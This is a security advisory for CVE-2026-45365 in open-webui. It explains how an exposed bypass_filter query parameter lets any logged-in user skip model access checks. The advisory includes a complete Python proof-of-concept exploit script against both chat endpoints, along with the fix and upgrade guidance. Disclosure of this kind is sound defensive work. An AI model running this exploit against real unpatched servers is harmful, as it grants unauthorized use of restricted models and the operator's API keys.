CVE-2026-45365

An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.

Details

The generate_chat_completion route handlers in both routers/openai.py and routers/ollama.py declare bypass_filter as a function parameter:

routers/openai.py, line 937–941:

@router.post("/chat/completions")
async def generate_chat_completion(
    request: Request,
    form_data: dict,
    user=Depends(get_verified_user),
    bypass_filter: Optional[bool] = False,
    ...
):

routers/ollama.py, line 1283–1288:

@router.post("/api/chat")
async def generate_chat_completion(
    ...
    bypass_filter: Optional[bool] = False,
    ...
):

Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending ?bypass_filter=true to the request URL.

When bypass_filter is true, the access control check is skipped entirely:

routers/openai.py, line 980:

if not bypass_filter and user.role == "user":
    # ACL check, skipped when bypass_filter is True

This parameter is intended for internal use only, the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass_filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.

This is separate from the BYPASS_MODEL_ACCESS_CONTROL environment variable, which is a deliberate admin setting for trusted environments.

PoC

#!/usr/bin/env python3
"""
uv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]

Finding #2, Unauthorized model access via bypass_filter query parameter

SUMMARY:
  The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
  a bypass_filter query parameter as part of their FastAPI function signatures.
  FastAPI automatically binds this to the query string. When an authenticated
  user appends ?bypass_filter=true, the access control check is skipped:

    if not bypass_filter and user.role == "user":
        check_model_access(user, model)  # <-- skipped when bypass_filter=True

  This allows any authenticated user to invoke models they are not authorized
  to use, including admin-restricted models.

VULNERABLE CODE:
  backend/open_webui/routers/openai.py, line 941 + 980:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
            # ACL check, skipped when bypass_filter=True

  backend/open_webui/routers/ollama.py, line 1288 + 1339:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
            # ACL check, skipped when bypass_filter=True

IMPACT:
  Any authenticated user can bypass model access control on both OpenAI and
  Ollama proxy endpoints. Because bypass_filter skips the ACL check but still
  routes through the server-side LLM connection, the attacker can invoke
  admin-restricted models using the server's API keys and receive actual LLM
  responses, effectively gaining free, unauthorized access to any configured
  model.

REPRODUCTION:
  1. Create a restricted model with empty access_grants (admin-only).
  2. Authenticate as a regular user.
  3. POST /openai/chat/completions with the restricted model → expect 403.
  4. POST /openai/chat/completions?bypass_filter=true → request succeeds.

REQUIREMENTS:
  - Running Open WebUI instance with Ollama or OpenAI backend configured
  - A model with restricted access_grants
  - An authenticated user who is NOT granted access to that model
"""

import argparse
import sys
import requests


def main():
    parser = argparse.ArgumentParser(description="Finding #2: bypass_filter ACL bypass")
    parser.add_argument("--base-url", required=True, help="Open WebUI base URL")
    parser.add_argument("--attacker-email", required=True)
    parser.add_argument("--attacker-password", required=True)
    parser.add_argument("--admin-email", required=True)
    parser.add_argument("--admin-password", required=True)
    args = parser.parse_args()

    base = args.base_url.rstrip("/")

    # ── Step 1: Authenticate ──
    print("[*] Authenticating as attacker...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.attacker_email, "password": args.attacker_password})
    if not r.ok:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    attacker_token = r.json()["token"]
    print(f"[+] Logged in as attacker (id={r.json()['id']})")

    # ── Step 2: Find restricted model via admin ──
    print("[*] Authenticating as admin to find restricted model...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.admin_email, "password": args.admin_password})
    if not r.ok:
        print(f"[-] Admin login failed: {r.status_code}")
        sys.exit(1)
    admin_token = r.json()["token"]

    r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin_token}"})
    if not r.ok:
        print(f"[-] Failed to list models: {r.status_code}")
        sys.exit(1)

    models = r.json()
    if isinstance(models, dict):
        models = models.get("data", models.get("models", []))

    restricted_model_id = None
    base_model_id = None
    for m in models:
        info = m.get("info", {})
        if not info:
            continue
        access_grants = info.get("access_grants", None)
        if access_grants is not None and len(access_grants) == 0 and info.get("base_model_id"):
            restricted_model_id = m["id"]
            base_model_id = info.get("base_model_id")
            print(f"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})")
            break

    if not restricted_model_id:
        print("[-] No restricted model found.")
        sys.exit(1)

    headers = {"Authorization": f"Bearer {attacker_token}"}
    payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }

    # ── Step 3: Confirm access is denied on /openai/chat/completions ──
    print(f"\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...")
    r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
    print(f"    Response: {r.status_code} {r.text[:200]}")

    if r.status_code == 403:
        print("[+] Access correctly DENIED (403), attacker cannot use the restricted model")
    else:
        print(f"[!] Unexpected response code {r.status_code} (expected 403)")

    # ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──
    print(f"\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...")
    r = requests.post(f"{base}/openai/chat/completions",
                      headers=headers, json=payload,
                      params={"bypass_filter": "true"})
    print(f"    Response: {r.status_code} {r.text[:300]}")

    openai_bypassed = r.status_code != 403

    if openai_bypassed:
        print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)")
    else:
        print(f"[-] OpenAI endpoint: bypass did not work (still 403)")

    # ── Step 5: Also test Ollama endpoint ──
    print(f"\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...")
    ollama_payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }
    r_normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload)
    print(f"    Without bypass: {r_normal.status_code} {r_normal.text[:150]}")

    r_bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload,
                             params={"bypass_filter": "true"})
    print(f"    With bypass:    {r_bypass.status_code} {r_bypass.text[:150]}")

    ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403

    if ollama_bypassed:
        print(f"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})")
    elif r_bypass.status_code != 403:
        print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})")
        ollama_bypassed = True
    else:
        print(f"[-] Ollama endpoint: bypass did not work")

    # ── Results ──
    if openai_bypassed or ollama_bypassed:
        print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!")
        print(f"    OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}")
        print(f"    Ollama endpoint (/ollama/api/chat):          {'BYPASSED' if ollama_bypassed else 'not bypassed'}")
        print(f"")
        print(f"    Any authenticated user can append ?bypass_filter=true to skip")
        print(f"    check_model_access() and use admin-restricted models via the")
        print(f"    server's own API keys.")
        sys.exit(0)
    else:
        print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint")
        sys.exit(1)


if __name__ == "__main__":
    main()

Resolution

Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026), one day after this report.

bypass_filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass_filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass_filter=true to the URL has no effect, the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.

Users on >= 0.8.11 are not affected.

Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users, for example, limiting expensive models to specific teams or keeping certain models internal-only.

CVE-2026-45365 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.11); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45365? CVE-2026-45365 is a medium-severity security vulnerability in open-webui (pip), affecting versions <= 0.8.10. It is fixed in 0.8.11.
2. How severe is CVE-2026-45365? CVE-2026-45365 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45365? open-webui (pip) versions <= 0.8.10 is affected.
4. Is there a fix for CVE-2026-45365? Yes. CVE-2026-45365 is fixed in 0.8.11. Upgrade to this version or later.
5. Is CVE-2026-45365 exploitable, and should I be worried? Whether CVE-2026-45365 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45365 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45365? Upgrade open-webui to 0.8.11 or later.